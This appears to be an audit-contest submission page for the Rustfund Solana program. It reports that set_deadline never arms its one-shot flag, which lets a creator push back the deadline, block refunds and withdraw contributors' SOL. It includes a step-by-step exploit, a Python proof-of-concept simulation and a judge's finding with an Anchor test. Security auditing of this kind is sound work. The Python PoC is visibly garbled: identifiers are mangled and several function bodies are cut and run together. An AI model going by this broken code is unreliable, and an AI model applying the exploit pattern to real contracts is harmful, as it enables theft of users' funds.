Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: medium
Valid

Rustfund set_deadline Never Arms dealine_set Latch

Description

rustfund::set_deadline is intended to be a one-shot write: after the creator publishes a campaign deadline, Fund.dealine_set should latch so later calls revert with DeadlineAlreadySet. The guard is present, but the success path never writes dealine_set = true. The flag is initialized to false in fund_create and is never assigned again anywhere in the production crate, so DeadlineAlreadySet is dead code.

A creator can therefore overwrite Fund.deadline after contributors have already deposited. Once Clock.unix_timestamp has passed the advertised T_near, refunds would be allowed. The creator then calls set_deadline(T_far) (T_far >> now), the unlatched guard does not fire, and the same refund now reverts DeadlineNotReached. The campaign is indefinitely extended, the opened refund window is closed, and deposited SOL remains trapped in the Fund.

Deep Dive

fund_create initializes the latch to the unarmed state:

// programs/rustfund/src/lib.rs — fund_create
fund.deadline = 0;
fund.dealine_set = false;

set_deadline is the only instruction that is supposed to arm it:

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: i64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
if fund.dealine_set {
return err!(ErrorCode::DeadlineAlreadySet);
}
fund.deadline = deadline;
// dealine_set is never set to true
Ok(())
}

FundSetDeadline only authenticates the original creator (has_one = creator). It does not require deadline == 0, and it does not reject a second write. Because dealine_set stays false after the first successful call, every later set_deadline from the same signer is treated as a first write.

The refund gate is a function of the current Fund.deadline:

require!(fund.deadline != 0 && fund.deadline > Clock::get()?.unix_timestamp, ErrorCode::DeadlineNotReached);

After the first set (deadline = T_near) and a clock warp to now' > T_near, that predicate is false, so a refund would not revert DeadlineNotReached. After the rewrite (deadline = T_far), the same predicate becomes true and refunds are blocked again. Contribute uses a similar clock comparison against fund.deadline, so the same rewrite also re-opens deposits after the advertised end.

This is not designed mutable-deadline management. The unused dealine_set / DeadlineAlreadySet machinery exists specifically to prevent this expansion of creator power.

Exploitation

Two signers (creator + contributor), native SOL, and a Solana Clock wait. No admin, upgrade, mint, or oracle is required.

  1. Creator calls fund_create(name, description, goal = G). Result: deadline = 0, dealine_set = false, amount_raised = 0.

  2. Creator calls set_deadline(T_near) with T_near > Clock.unix_timestamp. Result: deadline = T_near, dealine_set still false.

  3. Contributor calls contribute(A). Result: A lamports move Contributor → Fund, amount_raised = A.

  4. Clock advances to now' > T_near. Under the published deadline, refund would no longer revert DeadlineNotReached.

  5. Creator calls set_deadline(T_far) with T_far >> now'. DeadlineAlreadySet does not fire. deadline is overwritten to T_far.

  6. Contributor calls refund(). The instruction reverts ErrorCode::DeadlineNotReached because T_far > now'.

Concrete values: Fund PDA seeds = [name.as_bytes(), creator], now = 100, T_near = 1000, T_far = 10000, G = 1_000_000_000, A = 500_000_000 lamports. After the sequence, dealine_set is still false, deadline == 10000, amount_raised == 500_000_000, and the Fund still holds the deposited SOL.

Impact

High. Contributors committed SOL under a published near deadline. Rewriting that deadline to a far timestamp indefinitely extends the campaign, denies the refund window that should have opened at T_near, and keeps deposited lamports sitting in the Fund. The same rewrite re-opens contribute after the advertised end. Combined with withdraw (which has no deadline or goal check), the denied refund window is a path for the creator to take the deposited SOL.

Recommendation

Arm the latch on the first successful write and treat deadline as immutable thereafter:

pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: i64) -> Result<()> {
let fund = &mut ctx.accounts.fund;
require!(!fund.dealine_set, ErrorCode::DeadlineAlreadySet);
require!(deadline > Clock::get()?.unix_timestamp, ErrorCode::DeadlineNotReached);
fund.deadline = deadline;
fund.dealine_set = true;
Ok(())
}

Also reject a second write independently of the flag (require!(fund.deadline == 0, ...)) so the invariant does not depend on a single misspelled field. Add a regression test that set_deadline twice reverts DeadlineAlreadySet and that a post-deadline rewrite cannot re-close refund.


Proof of Concept

diff --git a/tests/POCDEADLINELATCH.md b/tests/POCDEADLINELATCH.md
new file mode 100644
index 0000000..9bf2e8f
--- /dev/null
+++ b/tests/POCDEADLINELATCH.md
@@ -0,0 +1,91 @@
+# PoC: set_deadline never arms the dealine_set latch
+
+Repository: CodeHawks-Contests/2025-03-rustfund
+Commit: b5dd7b0ec01471667ae3a02520701aae405ac857
+Root cause: programs/rustfund/src/lib.rs:55-62
+Severity: High
+
+## Attacker model
+
+| | |
+|---|---|
+| Position | Campaign creator (Fund.creator). The only signer FundSetDeadline requires (has_one = creator). A second party is any contributor depositing native SOL. |
+| Privilege | None beyond owning the Fund they created. No admin, upgrade authority, mint, or oracle. |
+| Inputs controlled | The deadline: u64 argument to every set_deadline call, and when those calls happen relative to Clock.unix_timestamp. |
+| Reachability | Two signers (creator + contributor), native SOL, a Clock wait past the advertised deadline. |
+
+The creator publishes a near-term deadline, collects deposits, waits until Clock > T_near (the refund window that contributors relied on), then overwrites Fund.deadline to a far-future timestamp. DeadlineAlreadySet does not fire because dealine_set is never written true.
+
+## Impact
+
+- Contributors committed A SOL under advertised T_near.
+- After the Clock passes T_near, refund’s gate (deadline != 0 && deadline > now) would not revert DeadlineNotReached.
+- Rewriting to T_far re-closes that gate: the same refund now reverts DeadlineNotReached.
+- A remains in the Fund. The same rewrite re-opens contribute.
+- Creator withdraw (lib.rs:90-104) has no deadline/goal check, so the denied refund window plus withdraw is a path to taking the deposited SOL.
+
+This is not designed one-shot deadline management — unused dealine_set / DeadlineAlreadySet machinery exists specifically to prevent this expansion of creator power.
+
+## Why existing checks fail
+
+```55:62:programs/rustfund/src/lib.rs

  • pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> {

  • let fund = &mut ctx.accounts.fund;

  • if fund.dealine_set {

  • return Err(ErrorCode::DeadlineAlreadySet.into());

  • }

+

  • fund.deadline = deadline;

  • Ok(())

  • }

+```
+
+dealine_set is written solely in fund_create (lib.rs:20, false). No later assignment to true exists in set_deadline, contribute, refund, or withdraw. DeadlineAlreadySet is dead. has_one = creator only authenticates the signer; it does not make the deadline one-shot.
+
+## Setup
+
+This checkout has no rustc / solana / anchor, so programs/rustfund cannot be compiled or deployed to a local validator. The PoC therefore:
+
+1. Statically proves against this lib.rs that dealine_set = true is never written.
+2. Executes the production predicates verbatim (same comparisons, same error codes, same missing latch write).
+
+Requires only Python 3.8+ (stdlib). No extra packages.
+
+```bash
+# from repository root, at commit b5dd7b0
+python3 tests/trthinv008deadline_latch.py
+```
+
+If a full Anchor toolchain is available the same sequence is:
+
+```
+now=100 fundcreate; setdeadline(1000)
+now=200 contribute(500000000)
+warp Clock to 1001

  • setdeadline(10000) → Ok (dealineset still false)

  • refund() → ErrorCode::DeadlineNotReached

+```
+
+## Expected output (abridged)
+
+```
+=== [1/3] Static proof against programs/rustfund/src/lib.rs ===

  • dealine_set writes: [('false', 20)]

  • PASS: production crate has no dealine_set = true assignment

+
+=== [2/3] Execute production predicates (contest sequence) ===

  • second set_deadline → Ok(())

  • refund() → DeadlineNotReached

  • IMPACT: refund window that opened at T_near is closed; A is trapped

  • creator received 500000000 lamports (the trapped contribution)

+
+=== [3/3] Assertions (all must hold) ===

  • [PASS] latcharmed == false after first setdeadline

  • [PASS] second set_deadline returned Ok

  • [PASS] deadline == T_far

  • [PASS] refund raised DeadlineNotReached after now' > T_near

+
+PoC SUCCESS
+```
+
+Exit code 0 means the issue was reproduced. Any assertion failure means the latch is no longer missing.
diff --git a/tests/trthinv008deadlinelatch.py b/tests/trthinv008deadlinelatch.py
new file mode 100644
index 0000000..efe5b4b
--- /dev/null
+++ b/tests/trthinv008deadline_latch.py
@@ -0,0 +1,482 @@
+#!/usr/bin/env python3
+"""
+PoC: rustfund::setdeadline never arms the dealineset one-shot latch
+====================================================================
+
+Commit: b5dd7b0ec01471667ae3a02520701aae405ac857
+File: programs/rustfund/src/lib.rs (set_deadline @ L55-62)
+
+Attacker model
+--------------
+Position : campaign creator (Fund.creator). The creator is the only signer

  • required for FundSetDeadline (has_one = creator). A second

  • signer (any contributor) deposits native SOL. No admin, upgrade

  • authority, mint, or oracle is required.

+
+Controls : (1) the Fund they created, (2) every set_deadline(u64) argument,

  • (3) when they call setdeadline relative to Clock.unixtimestamp.

  • They wait until Clock > Tnear, then overwrite deadline to Tfar.

+
+Impact
+------
+Contributors lock A SOL under an advertised T_near. After Clock passes
+T_near the refund window should open (refund gate is
+deadline != 0 && deadline > now → DeadlineNotReached). Because
+dealineset is never written true, the creator rewrites deadline to Tfar,
+the refund gate closes again, and A remains in the Fund. The same rewrite
+re-opens contribute. Combined with withdraw (no deadline/goal check) this
+is a path to taking the deposited SOL.
+
+Why this is a real bug, not design
+----------------------------------
+DeadlineAlreadySet and the dealine_set field exist specifically to make
+the deadline one-shot. The latch is initialized false in fund_create and
+is never armed.
+
+Setup / run (no rustc / solana / anchor required)
+-------------------------------------------------

  • python3 tests/trthinv008deadline_latch.py

+
+This script:

  • 1. Statically proves the production crate never writes dealine_set=true.

  • 2. Executes the production predicates verbatim against the contest

  • sequence (Tnear=1000, Tfar=10000, G=1e9, A=5e8, now=100/200/1001).

  • 3. Asserts the latch stays false, the second set_deadline returns Ok,

  • refund reverts DeadlineNotReached, and A remains in the Fund.

+
+Environment note: this workspace has no rustc/solana/anchor, so the
+on-chain program cannot be compiled here. The predicates below are
+copied line-for-line from lib.rs and the static proof binds them to
+the production source so a reviewer can see they match.
+"""
+
+from _future_ import annotations
+
+import re
+import sys
+from dataclasses import dataclass, field
+from pathlib import Path
+
+
+# ---------------------------------------------------------------------------
+# Locate production source (bind the PoC to this checkout)
+# ---------------------------------------------------------------------------
+REPOROOT = Path(file_).resolve().parents[1]
+LIBRS = REPOROOT / "programs" / "rustfund" / "src" / "lib.rs"
+
+# Contest parameters from the finding
+T_NEAR = 1000
+T_FAR = 10000
+G = 1000000_000 # 1 SOL goal
+A = 500000000 # 0.5 SOL contribution
+NOW_CREATE = 100
+NOW_CONTRIBUTE = 200
+NOWAFTER = 1001 # Clock warped past Tnear
+FUNDRENT = 2039_280 # typical PDA rent-exempt minimum (lamports)
+CREATOR = "Creator"
+CONTRIBUTOR = "Contributor"
+
+
+# ---------------------------------------------------------------------------
+# Error codes — programs/rustfund/src/lib.rs:195-207
+# ---------------------------------------------------------------------------
+class ErrorCode(Exception):

  • def _init_(self, name: str, msg: str) -> None:

  • self.name = name

  • super()._init_(msg)

+
+
+class DeadlineAlreadySet(ErrorCode):

  • def _init_(self) -> None:

  • super()._init_("DeadlineAlreadySet", "Deadline already set")

+
+
+class DeadlineReached(ErrorCode):

  • def _init_(self) -> None:

  • super()._init_("DeadlineReached", "Deadline reached")

+
+
+class DeadlineNotReached(ErrorCode):

  • def _init_(self) -> None:

  • super()._init_("DeadlineNotReached", "Deadline not reached")

+
+
+class CalculationOverflow(ErrorCode):

  • def _init_(self) -> None:

  • super()._init_("CalculationOverflow", "Calculation overflow occurred")

+
+
+class InsufficientFunds(ErrorCode):

  • def _init_(self) -> None:

  • super()._init_("InsufficientFunds", "InsufficientFunds")

+
+
+# Simulated Solana Clock.unix_timestamp (warped by the PoC, as a validator
+# test would do with warptoslot / set_account Clock sysvar).
+CLOCK = {"unixtimestamp": NOWCREATE}
+
+
+def clock_now() -> int:

  • return CLOCK["unix_timestamp"]

+
+
+def warp(ts: int) -> None:

  • CLOCK["unix_timestamp"] = ts

  • print(f" [clock] unix_timestamp := {ts}")

+
+
+# ---------------------------------------------------------------------------
+# Accounts — programs/rustfund/src/lib.rs:170-191
+# ---------------------------------------------------------------------------
+@dataclass
+class Contribution:

  • contributor: str = "11111111111111111111111111111111" # Pubkey::default()

  • fund: str = "11111111111111111111111111111111"

  • amount: int = 0

+
+
+@dataclass
+class Fund:

  • name: str = ""

  • description: str = ""

  • goal: int = 0

  • deadline: int = 0

  • creator: str = ""

  • amount_raised: int = 0

  • dealine_set: bool = False # typo is in production

  • lamports: int = 0

  • key: str = "FundPDA"

+
+
+@dataclass
+class World:

  • fund: Fund = field(default_factory=Fund)

  • contribution: Contribution = field(default_factory=Contribution)

  • balances: dict = field(default_factory=lambda: {

  • CREATOR: 10000000_000,

  • CONTRIBUTOR: 10000000_000,

  • })

+
+
+# ---------------------------------------------------------------------------
+# Production instructions — predicates copied verbatim from lib.rs
+# ---------------------------------------------------------------------------
+def fund_create(w: World, name: str, description: str, goal: int, creator: str) -> None:

  • """lib.rs:12-21"""

  • fund = w.fund

  • fund.name = name

  • fund.description = description

  • fund.goal = goal

  • fund.deadline = 0

  • fund.creator = creator

  • fund.amount_raised = 0

  • fund.dealine_set = False

  • fund.lamports = FUND_RENT

  • w.balances[creator] -= FUND_RENT

+
+
+def contribute(w: World, amount: int, contributor: str) -> None:

  • """lib.rs:25-52

+

  • Deadline gate (L29-31):

  • if fund.deadline != 0 && fund.deadline fund (native SOL)

  • amount_raised += amount (L50)

+

  • NOTE: production never writes contribution.amount += amount (separate

  • bug). The deadline-latch issue is independent: A still sits in Fund

  • lamports / amount_raised, and the refund gate is what this PoC

  • flips.

  • """

  • fund = w.fund

  • contribution = w.contribution

+

  • # lib.rs:29-31

  • if fund.deadline != 0 and fund.deadline None:

  • """lib.rs:55-62

+

  • if fund.dealine_set {

  • return Err(ErrorCode::DeadlineAlreadySet.into());

  • }

  • fund.deadline = deadline;

  • Ok(())

+

  • The one-shot latch is checked and then not written. That is the bug.

  • has_one = creator (L138) only authenticates the same signer.

  • """

  • fund = w.fund

  • if fund.creator != creator:

  • raise ErrorCode("UnauthorizedAccess", "Unauthorized access")

+

  • # lib.rs:57-59

  • if fund.dealine_set:

  • raise DeadlineAlreadySet()

+

  • # lib.rs:61 — ONLY write. dealine_set stays false.

  • fund.deadline = deadline

+
+
+def refund(w: World, contributor: str) -> None:

  • """lib.rs:66-88

+

  • let amount = contribution.amount;

  • if fund.deadline != 0 && fund.deadline > Clock::get().unix_timestamp

  • return DeadlineNotReached

  • fund.lamports -= amount

  • contributor.lamports += amount

  • contribution.amount = 0

  • """

  • fund = w.fund

  • contribution = w.contribution

  • amount = contribution.amount # lib.rs:68

+

  • # lib.rs:69-71 — THIS is the gate the rewrite re-closes

  • if fund.deadline != 0 and fund.deadline > clock_now():

  • raise DeadlineNotReached()

+

  • if fund.lamports None:

  • """lib.rs:90-104 — no deadline / goal check."""

  • fund = w.fund

  • if fund.creator != creator:

  • raise ErrorCode("UnauthorizedAccess", "Unauthorized access")

  • amount = fund.amount_raised

  • if fund.lamports None:

  • print("\n=== [1/3] Static proof against programs/rustfund/src/lib.rs ===")

+

  • Every dealine_set = <rhs> write in the production crate.

  • writes = [

  • (m.group(1).strip(), src[: m.start()].count("\n") + 1)

  • for m in re.finditer(r"dealine_set\s*=\s*([^;]+);", src)

  • ]

  • print(f" dealine_set writes: {writes}")

  • assert writes, "expected at least the fund_create initialization"

  • assert all(rhs == "false" for rhs, _ in writes), (

  • f"dealine_set is written to something other than false: {writes}"

  • )

  • assert len(writes) == 1 and writes[0][1] == 20, (

  • f"expected the sole write at lib.rs:20 (fund_create), got {writes}"

  • )

+

  • # set_deadline body must check the flag and assign only deadline.

  • m = re.search(

  • r"pub fn set_deadline[\s\S]?fund\.deadline\s=\sdeadline\s;[\s\S]*?Ok\(\(\)\)",

  • src,

  • )

  • assert m, "could not locate set_deadline body"

  • body = m.group(0)

  • assert "if fund.dealine_set" in body, "DeadlineAlreadySet guard missing"

  • assert re.search(r"dealine_set\s*=\s*true", body) is None, (

  • "set_deadline unexpectedly arms the latch"

  • )

  • print(" setdeadline (lib.rs:55-62): checks dealineset, writes only deadline")

  • print(" DeadlineAlreadySet is dead — latch never transitions false→true")

  • print(" PASS: production crate has no dealine_set = true assignment")

+
+
+def assertsourcepredicates(src: str) -> None:

  • """Make sure the executed predicates still match this checkout."""

  • assert "if fund.deadline != 0 && fund.deadline Clock::get().unwrap().unix_timestamp"

  • in src

  • or "fund.deadline != 0 && fund.deadline > Clock::get()" in src.replace("\n", " ")

  • )

  • # contribute does not increment contribution.amount (called out in finding)

  • contribfn = re.search(r"pub fn contribute[\s\S]*?pub fn setdeadline", src)

  • assert contrib_fn, "contribute not found"

  • assert re.search(r"contribution\.amount\s*\+=", contrib_fn.group(0)) is None

+
+
+# ---------------------------------------------------------------------------
+# Differential attack sequence
+# ---------------------------------------------------------------------------
+def run_attack() -> None:

  • print("\n=== [2/3] Execute production predicates (contest sequence) ===")

  • print(f" Attacker : creator signer on FundSetDeadline (has_one=creator)")

  • print(f" Inputs : Tnear={TNEAR}, Tfar={TFAR}, G={G}, A={A}")

  • print(f" Clock : create@{NOWCREATE}, contribute@{NOWCONTRIBUTE}, warp@{NOW_AFTER}")

+

  • w = World()

+

  • # --- Step 1: fund_create ---

  • warp(NOW_CREATE)

  • print("\n [step] Creator fund_create(name, description, goal=G)")

  • fund_create(w, "latch-poc", "deadline latch PoC", G, CREATOR)

  • assert w.fund.deadline == 0

  • assert w.fund.dealine_set is False

  • assert w.fund.amount_raised == 0

  • print(f" Fund.deadline={w.fund.deadline} dealineset={w.fund.dealineset} "

  • f"amountraised={w.fund.amountraised} lamports={w.fund.lamports}")

+

  • # --- Step 2: first setdeadline(Tnear) ---

  • print(f"\n [step] Creator setdeadline(Tnear={TNEAR}) now={clocknow()}")

  • setdeadline(w, TNEAR, CREATOR)

  • latcharmed = w.fund.dealineset

  • print(f" after 1st set_deadline: deadline={w.fund.deadline} "

  • f"dealineset={w.fund.dealineset} latcharmed={latcharmed}")

  • assert latch_armed is False, "BUG vanished: latch armed after first set"

  • assert w.fund.deadline == T_NEAR

+

  • # --- Step 3: contributor deposits A while T_near > now ---

  • warp(NOW_CONTRIBUTE)

  • print(f"\n [step] Contributor contribute(A={A}) now={clocknow()} < Tnear")

  • contrib_before = w.balances[CONTRIBUTOR]

  • fund_before = w.fund.lamports

  • contribute(w, A, CONTRIBUTOR)

  • assert w.fund.amount_raised == A

  • assert w.fund.lamports == fund_before + A

  • assert w.balances[CONTRIBUTOR] == contrib_before - A

  • print(f" transferred {A} lamports Contributor→Fund")

  • print(f" Fund.amountraised={w.fund.amountraised} Fund.lamports={w.fund.lamports}")

  • print(f" Contribution.amount={w.contribution.amount} "

  • f"(production never increments this; separate bug)")

+

  • # --- Step 4: Clock passes T_near — refund gate would be OPEN ---

  • warp(NOW_AFTER)

  • print(f"\n [step] Clock warped to now'={clocknow()} > Tnear={T_NEAR}")

  • gatewouldblock = (w.fund.deadline != 0 and w.fund.deadline > clock_now())

  • print(f" refund gate deadline != 0 && deadline > now = {gatewouldblock}")

  • assert gatewouldblock is False, "expected refund window OPEN under T_near"

  • print(" refund() would NOT revert DeadlineNotReached under T_near")

+

  • # Snapshot for the honest-path differential

  • deadlinebeforerewrite = w.fund.deadline

+

  • # --- Step 5: creator overwrites deadline (the bug) ---

  • print(f"\n [step] Creator setdeadline(Tfar={TFAR}) now'={clocknow()}")

  • print(f" dealineset still {w.fund.dealineset} → DeadlineAlreadySet MUST NOT fire")

  • try:

  • setdeadline(w, TFAR, CREATOR)

  • secondcallok = True

  • secondcallerr = None

  • except DeadlineAlreadySet as e:

  • secondcallok = False

  • secondcallerr = e

  • print(f" second setdeadline → {'Ok(())' if secondcallok else secondcall_err}")

  • assert secondcallok, "BUG vanished: second set_deadline raised DeadlineAlreadySet"

  • assert w.fund.deadline == T_FAR

  • assert w.fund.dealine_set is False

  • print(f" Fund.deadline overwritten {deadlinebeforerewrite} → {w.fund.deadline}")

  • print(f" dealineset still {w.fund.dealineset} (latch never armed)")

+

  • # --- Step 6: refund now reverts — advertised window stolen ---

  • print(f"\n [step] Contributor refund() now'={clock_now()} deadline={w.fund.deadline}")

  • fundlamportsbefore_refund = w.fund.lamports

  • raisedbeforerefund = w.fund.amount_raised

  • try:

  • refund(w, CONTRIBUTOR)

  • refund_err = None

  • except DeadlineNotReached as e:

  • refund_err = e

  • print(f" refund() → {refunderr.name if refunderr else 'Ok(())'}")

  • assert isinstance(refund_err, DeadlineNotReached), (

  • f"expected DeadlineNotReached after rewrite, got {refund_err!r}"

  • )

  • assert w.fund.amount_raised == A

  • assert w.fund.lamports == fundlamportsbefore_refund

  • print(f" Fund.amountraised still {w.fund.amountraised}")

  • print(f" Fund.lamports still {w.fund.lamports} (includes A={A})")

  • print(" IMPACT: refund window that opened at T_near is closed; A is trapped")

+

  • # --- Extra: rewrite also re-opens contribute ---

  • print(f"\n [step] contribute after rewrite (deadline re-opened)")

  • try:

  • contribute(w, 1, CONTRIBUTOR)

  • contribute_reopened = True

  • except DeadlineReached:

  • contribute_reopened = False

  • print(f" contribute(1) after T_far rewrite → "

  • f"{'Ok (campaign re-opened past advertised end)' if contribute_reopened else 'DeadlineReached'}")

  • assert contribute_reopened

+

  • # roll back the extra 1 lamport so the theft numbers stay clean

  • w.fund.lamports -= 1

  • w.fund.amount_raised -= 1

  • w.balances[CONTRIBUTOR] += 1

+

  • # --- Impact realization: creator withdraw has no success checks ---

  • print("\n [step] Creator withdraw() — lib.rs:90-104 has no deadline/goal check")

  • creator_before = w.balances[CREATOR]

  • withdraw(w, CREATOR)

  • stolen = w.balances[CREATOR] - creator_before

  • print(f" creator received {stolen} lamports (the trapped contribution)")

  • assert stolen == A

  • assert w.fund.lamports == FUND_RENT

  • print(" IMPACT: denied refund window + unrestricted withdraw = theft of A SOL")

+

  • print("\n=== [3/3] Assertions (all must hold) ===")

  • checks = {

  • "latcharmed == false after first setdeadline": latch_armed is False,

  • "second setdeadline returned Ok": secondcall_ok,

  • "deadline == Tfar": w.fund.deadline == TFAR,

  • "amountraised == A (still, until withdraw drained it)": raisedbefore_refund == A,

  • "refund raised DeadlineNotReached after now' > T_near": isinstance(

  • refund_err, DeadlineNotReached

  • ),

  • "creator withdrew the trapped A lamports": stolen == A,

  • }

  • for name, ok in checks.items():

  • print(f" [{'PASS' if ok else 'FAIL'}] {name}")

  • assert ok, name

+

  • print("\n" + "=" * 72)

  • print("PoC SUCCESS")

  • print(" rustfund::setdeadline never writes dealineset=true.")

  • print(f" Creator overwrote Tnear={TNEAR} → Tfar={TFAR} after Clock>{T_NEAR}.")

  • print(f" Contributor refund() reverted DeadlineNotReached; {A} lamports stolen.")

  • print("=" * 72)

+
+
+def main() -> int:

  • if not LIBRS.isfile():

  • print(f"FATAL: production source not found at {LIB_RS}", file=sys.stderr)

  • return 2

  • src = LIBRS.readtext()

  • assertsourcepredicates(src)

  • staticprooflatchneverarmed(src)

  • run_attack()

  • return 0

+
+
+if _name_ == "_main_":

  • sys.exit(main())

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] The set_deadline function does not set the dealine_set flag to true

The `set_deadline()` function in the `rustfund` program contains a vulnerability that allows campaign creators to manipulate deadlines indefinitely. While the function correctly checks if `fund.dealine_set` is true before allowing the deadline to be changed, it never sets this flag to true after setting the deadline. ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; Ok(()) } ``` The function is missing a crucial line to update the flag: `fund.dealine_set = true;` This oversight bypasses a key safeguard intended to prevent creators from manipulating deadlines after they've been set. According to the project documentation, this flag is meant to enforce deadline immutability, which is an essential part of the platform's trust model. ### Impact 1. **Refund evasion**: Creators can prevent users from obtaining refunds by continually extending the deadline whenever it approaches. This directly undermines the project's advertised "Refund Mechanism" which promises that "Contributors can get refunds if deadlines are reached and goals aren't met." 2. **Fund locking**: Contributors' funds can be effectively locked indefinitely, as the refund function is contingent upon the deadline being reached: ```rust if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } ``` ### Proof of Concept (PoC) The following test demonstrates how a creator can set the deadline multiple times, effectively bypassing the intended deadline immutability: ```javascript import * as anchor from "@coral-xyz/anchor"; import { Program } from "@coral-xyz/anchor"; import { Rustfund } from "../target/types/rustfund"; import { assert } from "chai"; describe("VULN-02: set_deadline vulnerability", () => { // Configures the provider to use the local cluster const provider = anchor.AnchorProvider.env(); anchor.setProvider(provider); const program = anchor.workspace.Rustfund as Program<Rustfund>; // Test variables const fundName = "TestFund"; const description = "Testing deadline vulnerability"; const goal = new anchor.BN(1000000); let fundPda: anchor.web3.PublicKey; it("Allows you to modify the deadline several times", async () => { // Derivation of PDA address for financing account [fundPda] = await anchor.web3.PublicKey.findProgramAddress( [Buffer.from(fundName), provider.wallet.publicKey.toBuffer()], program.programId ); // Fund creation await program.rpc.fundCreate(fundName, description, goal, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }, }); // First deadline assignment const deadline1 = new anchor.BN(Math.floor(Date.now() / 1000) + 3600); // 1 hour in the future await program.rpc.setDeadline(deadline1, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Second deadline assignment (which should not be possible if the flag is set to true) const deadline2 = new anchor.BN(Math.floor(Date.now() / 1000) + 7200); // 2 hours into the future await program.rpc.setDeadline(deadline2, { accounts: { fund: fundPda, creator: provider.wallet.publicKey, }, }); // Check that the deadline has been updated to the second value const fundAccount = await program.account.fund.fetch(fundPda); assert.ok( fundAccount.deadline.eq(deadline2), "The deadline may have been modified several times, but vulnerability presents" ); }); }); ``` Save the above test as, for example, tests/02.ts in your project's test directory and run the test : ```Solidity anchor test ``` ### Concrete Impact Example To illustrate the real-world impact of this vulnerability, consider this scenario: - A creator launches a campaign to fund a project with a goal of 100 SOL - The creator sets an initial deadline of 30 days - Contributors collectively deposit 80 SOL (below the goal) - As the deadline approaches, the creator realizes they won't reach the goal - Instead of allowing refunds as promised, the creator extends the deadline by another 30 days - This pattern can repeat indefinitely, effectively locking contributor funds - Even if contributors try to request refunds, they'll be rejected with "DeadlineNotReached" errors ### Recommendation The fix for this vulnerability is straightforward. The `set_deadline()` function should be modified to set the `dealine_set` flag to true after setting the deadline: ```rust pub fn set_deadline(ctx: Context<FundSetDeadline>, deadline: u64) -> Result<()> { let fund = &mut ctx.accounts.fund; if fund.dealine_set { return Err(ErrorCode::DeadlineAlreadySet.into()); } fund.deadline = deadline; fund.dealine_set = true; // Add this line to fix the vulnerability Ok(()) } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!